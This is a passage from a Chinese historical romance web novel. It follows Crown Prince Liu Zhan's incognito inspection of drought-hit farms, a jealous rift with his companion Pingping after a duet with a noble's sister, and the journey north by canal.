柳湛不自觉回头望身后墙板，多有不便，萍萍没有同乘，在他后面两辆，不知受不受得住这酷热？ 纵使数分牵挂，柳湛却未挑帘真去看一看，问一问。 车继续北行，过了会窗外人影陡然变多，被纱罩成青色，柳湛微微张目，非是春分秋收，炎炎赤日下竟有这么多百姓在农田里忙活？ 他挑起纱帘，见田里不仅壮汉，白发老翁，包巾妇人，甚至还有不及腰高的稚子，或挑水或浇灌，以奔代走。柳湛再定睛细瞧，禾稻枯焦，十之有九，百亩农田，无一例外。 忽那老翁就眼睁睁栽倒在田里。 “停车！”柳湛喝止，随后跃下，大步流星踏入田内，蹲下把脉，耳边全是农夫农妇焦急之声。 柳湛抬头告知：“这位老人家中暑了。”又问那紧跟着跑过来的知州：“有没有药？” 为着讨好太子，本地官员做了万全准备，旋即掏出石膏做的白虎丸，也顾不得许多了，柳湛让那老翁家人喂他吃下一颗。 柳湛放眼四望，问旁边聚拢的百姓：“乡亲们可是遇着了难处？” 百姓们却你看看我，我看看你，都一口否认没有困难，就是日常浇灌农田。 柳湛无需回望身后知州，已心知肚明。 待到驿馆，唤来蒋望回，吩咐数句，找来行头换了，便要避开馆吏，翻墙潜出去。 “官人。”萍萍在身后轻唤。 她又唤官人不喊殿下了，柳湛想着转身，萍萍却笑道：“带我一个。” 她上上下下打量柳湛一身芒鞋短衫，含笑同他眨眼：晓得他要私访农田，所以才喊官人呀！ 柳湛心里浮起一丝心有灵犀的喜悦，嘴上却拒绝：“不行。” 外面太热了。 萍萍近前一步：“我一年三百六十日皆能卖洗面汤，行四千里路又不是没经历三伏天。” 她再次朝柳湛眨眼，还摇了摇他手臂，柳湛沉默少倾，道：“希颜你留守驿馆，我和萍萍去走一遭。” 第58章 第五十八章 理智与情感 蒋望回并未即刻应声， 柳湛再道：“林公方才也有些昏沉，你去瞧瞧，怕年纪大了， 给请位府医。” 蒋望回这才应喏离开。 柳湛伸臂揽住萍萍腰肢：“抓稳了。” 她立马两只胳膊都箍住他的脖颈， 柳湛脚尖点墙， 纵云梯般翻过，跃下时生风，萍萍心中骄傲：我夫君真是文武双全。 柳湛在意的却是萍萍那双紧紧勾着他的雪白胳膊， 她一缕发丝随风扫到他的面颊， 将他的心也挠得痒痒的。 柳湛暗咳一声，稳下心神。 落地时萍萍本能弯腰低头， 然后就直直瞅见柳湛露在短衫外的脚，虽然特意抹了灰，不再像他本来肤色那样白，但还是太光滑。 她直言：“你这忒细皮嫩肉，不像做粗活的……” 柳湛最初想换的是短褐，但胳膊小腿露出来更不像劳作的，短衫遮蔽多， 已经是最像的了。 柳湛正想回她“那我该再多下几日汤饼”， 这世上唯一比他快嘴的女人抢先补充：“……像手无缚鸡之力的。” 柳湛幽幽眺她一眼：“有没有力你不知道？” 说完自个心思又点飘， 努力抑制， 往下沉了沉。 半晌，他才重新用余光打量萍萍——葛麻衣裙，头上仅包条檀色麻巾， 这一身她以前也穿过，下农田毫无违和。 到底是她像些，柳湛莞尔， 忽觉身侧凉风习习，短衫鼓起，竟是萍萍带了把蒲扇扇风，那扇子都快偏到他身上来了。 岔路拐弯，变成正迎太阳，柳湛握着萍萍的手迫她蒲扇改道，挡在额前：“太阳大，遮一遮。” 眼前便是一望无垠农田，赤日如火，虽然离方才老农栽倒的地方尚远，那这里同样稻禾枯焦。 柳湛见个个农夫农妇，皆露心急如焚之色，不由脚下加快，芒鞋踏埂，趾染污泥。 萍萍快步跟上，边走边道：“现下有几分像了。” 柳湛扯嘴角笑了笑，复归肃色，他快步赶上前方老农，帮他挑水，起身时萍萍帮着扶桶，沿田埂一路走到老农的地里，两人都帮着浇水、灌溉，老农道谢，又问：“二位看起来不像本地人？” “我和我娘子住涂县那边，到庐江去走亲戚。”柳湛笑将话头引回老农身上，“老丈今年高寿了？” “再差一岁就八十啦！” “那这三伏天还是歇歇吧，”萍萍皱眉，“我们方才路上就遇到另一位老丈中暑了。” “歇不得啊，年尾税要比去年多捐三斗，田再一焦，愈发交不上了！” 萍萍放眼四望：“如此大旱，能否向官府反映，适当减免？” 她刚问完，柳湛就伸手在她身前一挡，笑道：“我娘子不懂，老丈莫怪。” 萍萍扭头凝望柳湛，才后觉他问完年纪后一直没再说话。 他们帮了自己，老农也不隐瞒：“减不了啊，知州大人说这是圣令，如有异议便是抗旨不遵。” 萍萍再次看向柳湛，不说话了。 柳湛掏出一 张交子交到老农手上，老农旋即推辞：“哎呀这可使不得，使不得！” “拿着吧。”柳湛浅笑。萍萍亦道：“老丈您就收下吧！” 推拒两回，老农才千恩万谢收下，二人与老农道别后，沿埂折返，两侧本是水田却快干成旱地，柳湛突然就想起萍萍前些日子说烧月带奢费。 她用的碎布条加草木灰，可当初他懵懂时瞧见，宫里烧的是上好的白绢。 柳湛脚虽在走，人却思忖了一出又一出，直到田埂尽头，抬腿跨上去，才收敛心神。 “唉，这出的汗比晚上还多。” 听见萍萍石破惊天言语，柳湛猛地侧首盯她。 萍萍与之对视，那神情，俨然在说：你方才都能说力大不大，我说不得？ 柳湛目光往下移，见她右手一直摆动给他摇扇子，他抬起两手，一手在她额上敲了个栗子，轻若抚触，另一手夺过蒲扇，扇在两人中间。 加注些许内力，风比萍萍扇得猛烈许多，两人皆能吹着。 黄沙道上，前面有挑担卖酒，也有卖饮子的。 柳湛问萍萍：“喝碗饮子？” “好啊，我请你。” “你请我。”柳湛笑呢，掏钱抢先付账。润州多梅饮，扬州人爱绿豆水，这里却只卖地窖浸凉的白水，美其名曰冰雪冷元子。 想到萍萍月事已走，他允她喝了。二人伫在路边，柳湛原本打算站着喝，但萍萍捧碗蹲下，他定定看两眼，也跟着蹲地。 萍萍大笑：“你现在十足十像了！” 柳湛驳斥：“我卖面那会就像了。”他不再回避萍萍，探出一根银针试水，接着又在萍萍碗里戳了下，方道：“喝吧。” 萍萍立马忆起那双银筷子，瞬间眼眶湿透，官人这六年过的是什么日子…… 她端起碗挡住眼泪，不叫柳湛瞧着。 察觉到他的目光看来，她赶紧用最稳最寻常的语气问：“现在种田到底要捐多少税？” 心里仍怜太子难当。 柳湛端碗瞧着官道：“田赋今年普遍从一成加到一成五分，多的要三成，那老丈应该只有两亩田，所以加的是三斗。然后还有户赋、盐税、茶税、船税、桥税，今年都多多少少有加。” 萍萍想问为什么加这么多，却想起老农说这是官家圣意，又记得柳湛叮嘱，三思后言，于是紧拧双眉，与柳湛四目相对。 柳湛碗递嘴边，喝了一口，三伏天宫里该当是凉亭冰块，浮瓜雪藕，摇扇十二时辰不停。 忽闻远方喧哗，萍萍和柳湛一同望去，黄沙中隐约叫骂声。 “快走！莫歇！”她望见十余禁军拉车绑有巨石的太平车，赤膊经过，后面紧跟监押的都官、提辖，但见停歇便招呼藤条。 待这波车队过去，吃酒吃饮子的人纷纷议论：“这破石头有什么好运的？” “没见识的，那是太湖石。” “嘘，别聊了，据说这是官家修皇陵用的” 萍萍瞥柳湛，他朝她轻点下巴肯定，她立刻明白为什么要加税了。 待二人归去，四下无人，柳湛才道：“官家极在意身后事，我只能适时劝谏。” 柳湛想，倘若是自己，决计不会在意皇陵恢弘或简陋。 他不信鬼神，笃定人只有一世，眼闭之日便一无所有，所以只在乎活着的时候，愿能登九五尊顶，金銮座下，国计掌中，倘若国富力强，民有余力，他还有一愿，开疆辟土，北定蛮夷。 柳湛反剪两手，眺望前方黄土长道，即忧心忡忡又雄心勃发。 萍萍却深深凝视柳湛侧颜，原来高位上心怀天下，便有了许多身不由己。 前朝太宗嫡长，十七年国储一朝被废。高祖的储君，最后也掉了脑袋。 古往今来，多少未成功即位的太子，她想将来不管发生什么，都会坚定地和他站到一起。 萍萍手伸向柳湛背后，柳湛未深思，以为她仅只是想牵手，动了动指，将她手反握住。 数日后，一行人抵达庐江，柳湛旋即安排保信军携物资援迟太平州赈灾。后又数十日，到淮南西路首府寿春。 寿春府知府兼淮南西路安抚使姚拱辰，一人肩挑两职，驻地都轮值过了，再调只剩京畿。且他出身宣城姚氏，纵使调任，保信军和忠正军中亦多族兄弟，淮西根基难撼。 姚拱辰与夫人是青梅竹马，岳丈孟允平曾做过资政殿大学士并经筵讲官，亦是柳湛启蒙老师，虽然年老致仕，但朝中威望犹在。因这一层关系，姚拱辰与柳湛少时曾共受教两年，颇为熟络。 太子队伍未到，姚拱辰就已迫不及待，不带护卫，一人一骑出城相迎。 城郊相逢，柳湛竟也弃车换马，与姚拱辰并行。 姚拱辰道：“殿下好狠的心，从寿春南下都不与我说。” “我那不是微服私访么。” 姚拱辰大笑：“别住驿馆了，就住我帅臣府！” “哪回来寿春不是住你那里。”柳湛持缰浅笑，缓缓瞥向姚拱坐下油亮白马，“驾雾养得如此精壮。” 姚拱辰随即便问：“那腾云呢？” 柳湛的四匹坐骑之一的腾云，与驾雾是胞胎。 柳湛微笑：“在东宫里好吃好睡呢，这一趟回去，只怕又涨几斤膘。”他接着问老师安好，身子骨可还健朗？姚拱辰将自己知道的一一告之，紧行慢行到帅臣府，姚拱辰竟给柳湛备了一小箱上好宣笔作为接风礼。 柳湛摇头：“你前年送去东京的笔都还没用完，去年的尚未开封。” 姚拱辰不以为然：“那你就派发东宫，人手一支。” 柳湛无奈，只得命蒋望回收下宣笔。 其实早在下江南前，柳湛就也有筹备寿春见面礼，足足一大箱，不惜带去江南又带来，此刻他却先瞥萍萍眨了下眼，又摸鼻头，才道：“希颜，阿罗，你们把我带的礼物抬进去。”又飞快吩咐萍萍：“你且在这里等。” 说罢便同姚拱辰先行去书房，姚拱辰回头望了一眼，走出四、五步，才问：“这回带的怎么不是希颜那个妹子？” 柳湛大步前赶：“临行前音和患了风寒。” 姚拱辰不得不追两步：“那这个新厨娘做的饭好吃不？” 柳湛扭头盯他，脚下不停，姚拱辰忙纠正之前言语：“好、好，是东宫司膳。” …… 而这厢，蒋望回要搬楠木箱，不得不将那一箱宣笔转交萍萍捧着。 交接时萍萍轻声低语：“你不是殿下侍读吗？” 蒋望回晓得她想问为何自己和姚拱辰不熟，压低声音：“那两年我正好随军。” 他见柳湛回首觑来，似催促，便赶紧和袁未罗一道将礼箱抬进书房。 箱刚落地，姚拱辰就蹲下来：“嚯，这都给我带了些什么？” 他自行打开，一样一样拣出、评价，一会说这镇纸好，一会又说那香好闻，再捡，柳湛竟给姚拱辰两幼子都送了一个长命锁。 “殿下有心了。”他感叹。 柳湛负手笑：“呵，满箱都是你的心头好。” 待姚拱辰再往下捡，柳湛垂眸，微微弯下，拾起一本箫谱：“上回见面，见云书妹妹在学箫，就给她捎了本谱。” 姚拱辰旋即起哄：“哎哟哟，三年没见面你记得这样清楚！” 他冲门外随手抓了个女使：“快去把我妹子请来！”姚拱辰笑得暧昧，“就说殿下来了！” 柳湛微笑，却面颊耳朵皆无红霞。 官家未指定太子妃前，他向来是端水心态，但姚孟两门盘踞淮西、淮北，百年难撼，他势在必得。 不一会，姚拱辰唯一的嫡亲胞妹姚书云就带着贴身女使，前来相见。 她朝柳湛行礼，三呼千岁，而后便埋首立在一侧。 “快，瞧瞧殿下给你带的箫谱。”姚拱辰将那谱册塞进姚书云怀里。 姚书云接过琴谱，双手捧至头顶，再拜再谢，而后再次没声。 两回跪拜，皆不苟言笑。 柳湛淡笑不语。 姚拱辰道： “书云这几年一直练箫呢，就是我不懂，不知道她真精进假精进。殿下是音律大家，正好我这房里有琴有箫，不若和鸣一曲，替我检验检验？” 姚拱辰有心促成这桩姻缘，他妹子纤瘦秀丽，按时行看是一个一等一的大美人，且善文章，文词绮丽，是出了名的本朝能文妇人。 和殿下绝配。 但其实在柳湛眼里，姚书云和之前那位俞容没有任何区别。 方才她现身书房，身瘦若竹，他第一眼就走神，有经历后，方知女人还是丰腴点好。 强行拉回神思凝视姚书云，见其一板一眼，全程敛笑，他又发现自己原来不喜欢端方矜持的女人，好生沉闷，还是鲜活些好，爱笑的，必须要有一对酒窝。 纵使千般心仪指向一人，柳湛还是清醒地笑应：“却之不恭，那就奏一曲《松入风》，不知书云妹妹愿不愿意？” 第59章 第五十九章 昏主非姬不饱 姚书云呆呆杵在原地， 姚拱辰将她一路拉到座上，箫塞怀里，她才拜道：“民女献丑， 让殿下见笑了。” 柳湛道：“承让。” 他捋袖拨弦， 姚书云箫近唇边， 共奏《松入风》。 箫清琴泱，西岭松声落日秋，千枝万叶风飕飕。 柳湛含笑， 面露赞许之意， 心想的却是这离知音差十万八千里，姚书云完全就是照本宣科， 技巧一个不漏，感情丝毫没有。她的箫声里没有风也没有松，只有苦寂长夜，死气沉沉。 他强压下罢弹意。 蒋望回立在角落里，身不动，脖不扭，头不移， 眼珠却不动声色， 朝门口窗边各转一眼， 背在身后的手攥拳分开， 双唇始终紧闭。 * 廊下。 柳湛让萍萍且在这里等，她就真等。 好在这长廊是个下坡，旁边有奇石假山， 蜿蜒曲水，还有一座汉白玉的拱桥，栏杆上雕了百来人物， 栩栩如生，萍萍一个一个认故事。 不知过了多久，拱桥那边迎面走来一位小娘子，头戴玉冠，额前坠着金帘梳，身后一位嬷嬷随从，另有一女使帮她打阳伞。 萍萍不知不觉张大嘴巴，这位小娘子的腰也忒细了，她怀疑一只胳膊就能全箍住。 小娘子上了桥，萍萍才发现她走路有意思，几乎是前脚跟挨着后脚尖走，仿佛在用脚丈量土地。 特别地慢，偏偏脸上不见急色。 嬷嬷催促：“娘子您走快些吧。” 小娘子垂着眉眼，说话也慢吞吞：“我就算这样走，一刻钟内也到书房了。” 噗——萍萍忍不住笑出一声。 桥上三人皆朝萍萍望来。 萍萍与那小娘子对上眼，笑着行了个礼。 小娘子面上无甚表情，依旧脚尖接脚跟，缓慢来到萍萍面前，隔着栏杆，仰头慢问：“你是东宫的吗？” 萍萍点头：“回娘子，是的。” 小娘子缓缓伸出一只手，指向萍萍双手抱的箱子，一个字一个字吐：“抱的宣笔？” “是。” 那小娘子继续轻言慢语：“这个挺重，我知道东宫的行李都放在哪里，我带你去放着。”说罢转身朝书房反方向走，嬷嬷急忙拦住：“何劳娘子做这个啊！” 小娘子扭身，还指笔箱，全程动作缓慢，又耗去好些时间：“这个好重。” “好好好，”嬷嬷无可奈何，“老奴带她去，带她去。”说着快步绕上长廊，朝萍萍一点下巴：“走吧。” 将萍萍领走，萍萍回头，发现小娘子仍注目着，便朝小娘子挥了挥手，那小娘子纹丝不动，也不回应。 萍萍便收回目光，专心追赶嬷嬷。 小娘子依旧注视，身旁女使劝道：“娘子快去书房吧，莫让殿下久等了。” 小娘子慢条斯理：“我在目送，不能失礼。” “唉——”女使长叹口气，“娘子为了拖延时间，还真是无所不用其极。” …… ： 说回萍萍这边，原来也不知道太子一行行李放哪，问过管家，才九曲十绕，甚至翻了一座山，才抵达这个叫翠微山房的地方。 管家开锁，嬷嬷同萍萍道别：“好了就这了，我得去寻我们娘子了。” 萍萍千谢万谢，嬷嬷离去。她将笔箱摞到那群熟悉的箱子上，退出来，管家重新锁门：“我和账房约了时辰得赶去，娘子自己晓得怎么回去吧？” “不是太记得……”萍萍不好意思，帅臣府实在太大了。 “唉，那娘子是要回哪里去？” 她忙道：“回我来的地方，是去书房的长廊，下坡的，旁边园子有座白桥。” 她描述得还算详细，管家晓得是哪了：“那你先直走，第三个岔路左拐，再第二个岔路右拐，穿过园子就能瞧见白桥了。” 他交代一遍就匆匆赴约，萍萍问无可问，只好自己寻路，一开始摸索就没啥底气，到园子，不晓得是不是之前那个，假山乱石，俨若迷宫，绕一圈竟回到原地。 萍萍不由生了两分焦急，深吸口气让自己冷静下来，正要再找路，忽听见琴箫阵阵。 《松入风》！ 虽不知玉萧何人在吹，但琴是官人在弹！ 她瞬时得了指引，柳湛的琴声犹如晚上江面灯塔，又似寒夜天上北斗，她寻着他的琴声，越走越快，书房窗户半开，那一幅珠联璧合，琴箫同奏的画面就直直撞进萍萍眼里。 她看柳湛一直含笑注视吹箫的小娘子，就是方才廊下和她搭话的那位。 萍萍定定站立，笑容仍凝固在脸上，眸光却一点点黯下去，如乌云遮星。 屋内袁未罗这个喜欢东张西望的最先发现萍萍，吓得魂都飞了，踮脚凑的蒋望回耳边：“完了萍娘子在外面，我忘记守着不让她瞧见了！” 蒋望回垂下眼帘，低低附议：“我也忘了。” 《松入风》尚余剩最后几拍未弹完，柳湛就听见不大真切的私语杂音，万幸被箫琴压盖，不影响成曲。他弹完收手：“你们在嘀咕什么？” 原本是要斥蒋袁二人，眺过去第一眼却瞥见窗外两侧芭蕉，中间石子路上站着萍萍，正直直望他。 柳湛心猛地一慌，窗外萍萍转身离去，就像溪边小鹿汲了口水就跑，柳湛抬腿本能想追，姚拱辰却在旁边问：“殿下，你觉得书云吹得如何啊？” 柳湛右腿已抬起一掌高，重落回原地：“妹妹吹得不错。” 答时余光仍瞥窗外。 “其实书云近日还写首《松入风》词，快，拿给殿下瞧瞧！” “我没有随身带。”姚书云讷讷地回。 “那你念给殿下听。” 姚书云便慢慢悠悠念，柳湛只得按下焦忧，耐起性子听，有一说一她的文采比箫技好多了，这首《松入风》起句音节响亮，结句收敛，正适合婉约含蓄的词韵，且她前后段都用了对偶，十分巧心。 柳湛本可以恭维许多词，言之有物，却心不在焉，敷衍道：“不错。” 他身后姚拱辰给妹妹使劲递眼色，姚书云才垂首回应：“殿下谬赞。” 柳湛仍就思忖萍萍，伫了这么一会，冷静下来：自己慌什么？ 日后立了太子妃，难不成还回回这样去追她哄她？ 本朝开国名臣元松，言行无缺，却因扶正嬖妾，还替她讨国夫人封诰，落得个亲族子弟言之不从，时论非议的下场。 自己将来要做一国之君，更应起表率，不能妻妾失序，冷她一冷吧。 他又不是非姬不饱的昏君。 柳湛想到这没有再去追。 姚书云告辞后，袁未罗亦屏退。书房门窗关紧，蒋望回守在门外，柳湛照原计划与姚拱辰房中秘议。 * 《松入风》。 萍萍回忆里官人弹的就是这首，上回在焦山告诉过他。 她心绪难平的并非官人与他人合奏，男也好，女也好，她介意的是他看那小娘子的眼神。 只瞥一眼她就看穿他是故意的。 她当时就想冲上前质问清楚，但官人旁边还有安抚使，她如果众目睽睽下问到答案，官人的面子可能也没有了。 还可能破坏他的大 事。 所以她只能赶紧逃走，再多对视一刹都怕被愤怒冲昏头脑。 但她也不知道要逃去哪里。 好在帅臣府的园子大，石头多，她躲进其中一座假山，里面阴凉又黑暗，只能瞧见洞口地上几簇黄花。 萍萍手扶着墙，心砰砰跳，大口大口喘气。偶有微风吹进洞里，萍萍看那地上的黄花，风来了，两朵一起往左倒，再往右栽，方向一致，人怎么就不行呢？ 她有些难过。 良久才理好情绪，从假山洞中走出。 一来就帮着搬箱子，还不知住何处，萍萍走了许久，终于出现一名老翁，与之前开库房的管家一样打扮。 萍萍便上前询问：“老丈——” “娘子是东宫来的吗？” 两人同时出声，数音重叠。 “为什么你们都能猜着我是从东宫来的？因为我是生面孔吗？”萍萍好奇，那吹箫的小娘子第一句问的也是这个。 “娘子穿的是宫婢的袍服啊。”老翁笑道，“我跟随我们帅臣进过两回京，在东宫过端午节，东宫的宫婢都穿这袍子，圆领、窄袖、花草纹，没错。” 萍萍心一凉。 老翁却已去喊这时从廊下端茶经过的女使：“小月，你来，你前年也去了的。” 老翁将事情简说，这名女使同样一口咬定：“宫婢的幞头都是一年景，但簪的花不一样，官家宫里是桃牡菊茶，东宫是桃牡菊杜，娘子这头上是杜鹃花，错不了的！” 萍萍努力睁大眼，免得抑制不了掉泪，她吞咽了一口，才使语气不至于那么哽咽：“那你们知道东宫的人都住哪吗？” 女使和老翁对看一眼，回忆：“你应该是住环碧小筑吧？” * 柳湛待办完事再冉步廊下，哪还有萍萍身影。 碍于姚拱辰在场，柳湛不好开口，便眺蒋望回，示意他问。 蒋望回得代君打听，拦住路过的女使们：“请问有没有瞧见见到之前这里等着的一位娘子？” “哦，那司膳。”姚拱辰插话，蒋望回蹙眉。 姚拱辰又道：“她还抱着宣笔呢！不见了我礼物岂不丢了？” 有家主帮忙打听，很快得到答案——笔箱已经和行李收到一处，那宫婢自回客房歇息了。 “客房安排在哪里？”柳湛沉声追问。 姚拱辰没反应过来：“你回回来不都住翠微山房？” 蒋望回喉头微动，嗫嚅：“殿下是问我们这些下人住哪，还没安排。” 姚拱辰瞟蒋望回，少倾，一笑：“安排了呀，你们住山房旁边，锦绣堂和环碧小筑，上回你妹子就住过。” 蒋望回垂首：“多谢帅臣。” “待会山房用膳，蒋贤弟正好一道回去。” 帅臣府依山而建，蒋望回便与柳湛、姚拱辰一路上坡，闲聊走马斗鹰，焚香烹茶，淮西风光，甚至姚拱辰的育儿经。 不咸不淡。 姚拱辰还要见同行的林元舆，用完膳便离开，蒋望回协助柳湛山房办公，过了酉时半，柳湛淡道：“今日先到这吧。” “喏，属下告退。”姚府待客将男宾和女宾隔开，除林元舆腿脚不便，另住山下见山堂外，蒋望回和袁未罗住锦绣堂，萍萍住环碧小筑，分在翠微山房左右。 蒋望回从山房出来，朝右侧小筑方向长望一眼，而后默默转身，回了左侧锦绣堂。 柳湛继续批阅公文，非要等到戌时，像往常一样黑灯瞎火了，才提一盏灯笼摸去环碧小筑。 小筑两层，下堂上卧，从外望去皆没有亮灯。 柳湛抬手，打算跟之前每日一样，归家、同眠，当做什么事都没发生。 明早起来，她就好了。 哪知一推之下，大门纹丝不动，被里面的人反锁了。 柳湛下午再次确认过，环碧小筑就是萍萍在帅臣府的居所，有女使亲眼见她进去。他抿唇吁气，堂堂太子竟要做翻墙登徒，踩着柱子跃至二楼，在卧房前再推门。 二楼卧房门也被牢牢反锁，双手都推不开。 他心里两个小人在打架，一个劝他敲敲门，喊一喊，另一个小人怒斥：这么大动静，不信她听不到！ 一国太子吃了民女的闭门羹，难道还要他伏低做小、曲意逢迎、摇尾乞怜？ 终是后一个小人占去上风，柳湛拂袖离去。 屋内，萍萍其实一直没睡。 女使和老翁皆是好人，不嫌麻烦，一直领她到小筑里。他俩当萍萍也是仆从，沿路讲了许多姚家和太子的事，原来啊，那是他的书云妹妹。 她想，官人这回真是很可气。她数到三，如果三以内他敲门认错的话，就放他进来好好聊聊。 可是不知道是不是她躺在床上离得远的原因，没有听见官人敲门，于是萍萍朝门走近些，重新数：一、二、三。 四、五、六……八、九、十，数到十的时候她想这么久那要十天不理他才好，就听见柳湛没有掩饰的脚步声，越离越远。 萍萍豆大般的泪珠突然就一颗颗从眼里碰出来，很快连成一线。 …… 其实，柳湛自己也没好到哪去。 回山房沐浴，数名女使要上前伺候宽衣，柳湛却想起这是每日他和萍萍一起做的事情。 “都退下吧，孤自己来。” 他自己褪了衣衫躺下，闭起眼脑海就即刻浮现萍萍站在芭蕉叶旁，然后转身快步疾走，然后又站回来，再走，就这一段，反反复复闪现。 有时候回忆疲惫了，脑子和心就开始放空，灰蒙蒙一片，什么都看不清，依然睡不着。 柳湛在床上翻了一个又一个身，直到天亮的白光透过眼缝照进来。 他手撑着坐起，打起精神，今日还有许多公事要办。 第60章 第六十章 偷家 他白日与姚拱辰议事， 来往人员变动，都会不动声色瞟上几眼，没有萍萍。 直到第三日， 一行人离开寿春， 才再次和她打上照面。 两人隔着一辆马车， 他看着她踩凳上车，钻进帘后，全程没往他所伫方向瞧一眼。 怕人看出端倪， 柳湛也上了自己的车。 队伍走走停停数日， 过芡河，到蒙城， 驿馆入住，夜里柳湛第2回 推门，萍萍依旧反锁。 再下一程抵达柳子镇，在这里落脚，歇息调整一日，改换旅船，沿汴水直达东京。 柳子镇虽繁华， 但到底只是镇村， 驿馆就五间客房， 并排紧挨一处。 不方便推门了， 柳湛胸口有些闷，但同时亦喜，这样也多了些瞧见她的机会。萍萍挪自己行李时， 他的余光就从右往左跟着移，到眸子够不着的地方，柳湛竟不自觉扭了头。 萍萍进屋关门， 他怔了下，收回目光。 柳湛就在自己房中处理公务，桌对着窗，能瞧着外面。 到晚上掌上灯，里亮外黑，就看不见了，于是柳湛开道窗缝。伏天早过，又往北，夜风已有了萧瑟秋意，吹得公文一页将翻未翻，轻微作响。 柳湛瞥见萍萍匆匆跑出，找到馆吏，不久后，馆吏领来位厨娘叩萍萍的门。没说上两句话厨娘就走，过会又给萍萍捎来个包袱。 厨娘是帮工，不住驿馆，下了工正走在回家路上，前方冷不丁冒出个高大男人，面色阴晦，直勾勾盯她。 厨娘差点魂飞魄散，连退两步，汗毛倒竖，待那男子手上灯笼一照，看清五官，厨娘腿软跪倒在地：这、这不是驿馆里来的那个贵人吗？ 柳湛沉声问：“你给她的包袱里装了什么？” 什么？ 厨娘愣了一霎，才会意过来，可、可那东西羞于启齿呀！ 她越扭捏柳湛越在意，空的那只手抬起扶了下眉骨：“说。” 垂眼轻轻一句，却慑得厨娘嘴溜，尽数交待：“她、她，那位娘子说之前的月带都没了，今日身上不方便，找我买了两条新的。” “月带”仿佛什么不可说的词，厨娘口如衔水，含含糊糊，柳湛却还是听清，面上闪过一丝错愕，萍萍的小日子他很清楚，还要七、八日才至，怎么提前这么多？ 翌日，一行人 自柳子镇登船，人忙马乱间，柳湛和萍萍只隔一个车身，周遭亦无旁人，柳湛瞅准时机，急促唤道：“萍萍！” 不知道是风大还是旁地什么吵，亦或者她故意为之，萍萍从柳湛面前走过去，一无对视二无回应。 林元舆和三、四本地官员走来，众目睽睽下，柳湛再难启齿。 旅舟像一支离弦箭驶离码头，日复一日北行。 又一日，船舱中。 柳湛正处理公文，林元舆和蒋望回打下手。袁未罗研墨添茶事，这会得闲，朝船舱外望去，官舻客艑穿行如梭，他眼睛一亮，指当中一货船：“那船上运马！” 林元舆随之眺望，笑：“南船北马，北边的马要运到南边去。”他感叹，“有条运河方便得多。” 袁未罗点头：“是啊，谁说的，‘汴河通淮利最多’。” 此话一出，林元舆变色，蒋望回垂首，又双双观察柳湛神色，舱内气氛骤变紧张。 袁未罗不解，偷瞟蒋望回寻求帮助，蒋望回瞪他一眼，这小子，指定又只晓得头一句。这是前朝李刺史的《汴河直进船》：汴河通淮利最多，生人为害亦相和。东南四十三州地，取尽膏脂是此河。 恐太子多心。 柳湛笔下勾圈，神色不变，他自觉各人有各人的看法，李刺史看到的是江南民脂收进京中权贵囊，但也有袁未罗、林元舆瞧见北地向江南输送物资。 前朝的官抨击前前朝的皇帝，他一个本朝太子定什么罪？凭什么定？ 再则，非要以诗文论汴河，他更赞同“若无水殿龙舟事，共禹论功不较多”。 柳湛张口欲言，却不可控打了个哈欠，急忙用袖遮挡，不失仪态。 待哈欠过去，才放下袖子：“好了，别一句诗就小题大做。” 越来越困了。 自从单独过夜后，他没有一晚睡着。 自己都不知道是怎么熬着的，凭什么气在吊？ 白日里不敢怠政，一壶壶呷茶，强撑着神采奕然，炯炯有神，其实恨不得拿棍子撑住眼皮。 半个时辰后，眼看前日停船歇息时，地方州府递上来的公文已经批得差不多，柳湛挥挥四指：“你们都退下吧。” 还剩最后一本，自己慢慢翻看。 …… 蒋望回进来时，看到的就是这样一幅画面：柳湛左臂垂着，右臂肘撑着桌面，手托着脑袋，阖眼小憩，早晨的阳光照射下，他甚至能瞧见柳湛的羽睫颤动。 前面桌上翻开的公文静静搁置。 “殿下。”蒋望回轻唤。 少顷，柳湛睁眼垂手：“什么事？” 蒋望回视线扫过柳湛眼睛，那里面全是红血丝，他拱手：“提前到了东辅，该停船修整了。” 京畿路设四辅节度州，其中东辅襄邑府紧邻汴河，水路门户，上京的船只到这里都必须停下来修整，接受盘查。 庶民如是，太子亦如是。 柳湛近胸前轻摆，示意知了，让蒋望回自行去办。 蒋望回却睇着暗道：殿下若是女子，眼下便是重现西子捧心。 他终不忍关切：“殿下，您脸色似乎有些恍白。” “昨晚没睡好。”柳湛淡淡回应。 何止一夜呐！ 旅船靠岸调整，东辅的知事总管，太中大夫原正卿领着副手和钤辖登船拜会。 这原正卿是武从文，行伍出身，讲话较糙，三两句客套后就直奔主题：“殿下，这马上快午时了，不如下船吃个便饭？” 柳湛面泛浅笑，原正卿父亲原郃，在世时做过制置使，兄长原印卿亦在军中任职，东辅又属京畿路，拱卫京师，牵涉汴京禁军。 柳湛有意与他递增感情，正要答应，那原正卿那耐不住，抢先又多说了一句：“真是便饭，不是什么酒楼大操大办，就在下官家里，内子下厨，下官的两个侄女这两天也正好来襄邑走亲。” 话一点，柳湛明白了，内心突然就蹿起一团无名火，怎么什么女人都要往他怀里塞？ “既是家宴，那就不必打扰了。”柳湛笑道，“孤昨晚没睡好，想早点在这船上吃了午歇。” 原正卿不愿放弃，继续邀请，恳求殿下赏光，柳湛却铁了心婉拒。 待送走一帮子地方官，柳湛肘撑着揉眉心，女儿也好，妹妹也罢，侄女孙女，都先暂且不提。 “殿下，原大人他们下船了。”蒋望回来回报。 柳湛捏着眉心看他一眼：“把阿罗找来。” 蒋望回很快喊来袁未罗。柳湛让蒋望回先退下，才私下吩咐袁未罗：“要在襄邑停靠两日——” “这个奴知。” 柳湛放下手静静瞥袁未罗一眼。 袁未罗噤声，不敢再打断。 “这两日你下船去城里找几本书。” 良久，不闻柳湛续讲，袁未罗方才敢问：“哪些书？” 柳湛是不放心袁未罗的记性的，原本打算列张书单，然而靠近东京，唯恐有些人见了利用，便只口述：“《素问》、《灵柩》、《脉经》、《诸病源候论》。” 这些书他大部分都翻烂了，滚瓜烂熟，唯独讲妇人症候那几页，以前觉得用不上，看得潦草，就记得一句“女子二七天癸至，任脉通畅，冲脉旺盛，方始行经”。 之前令他恍然大悟那些书不是医书，就更不会提怎么治了。 近两日等袁未罗找来，抽时间重看下。 且摁下柳湛这边不提，蒋望回那厢，从房中退出来后，见码头上热热闹闹，许多叫卖，便顺甲板下船。 他逛了一圈，买了个西瓜，装在瓜贩赠的网兜里，提上船来。 船大，避开一层议事堂和柳湛卧房，直上楼梯来到三层萍萍房门前。 轻叩两下。 女使刚给萍萍送来食盒，她还在布菜就听门再次被敲响，以为女使去而复返，开门笑问：“怎么又回来了？” 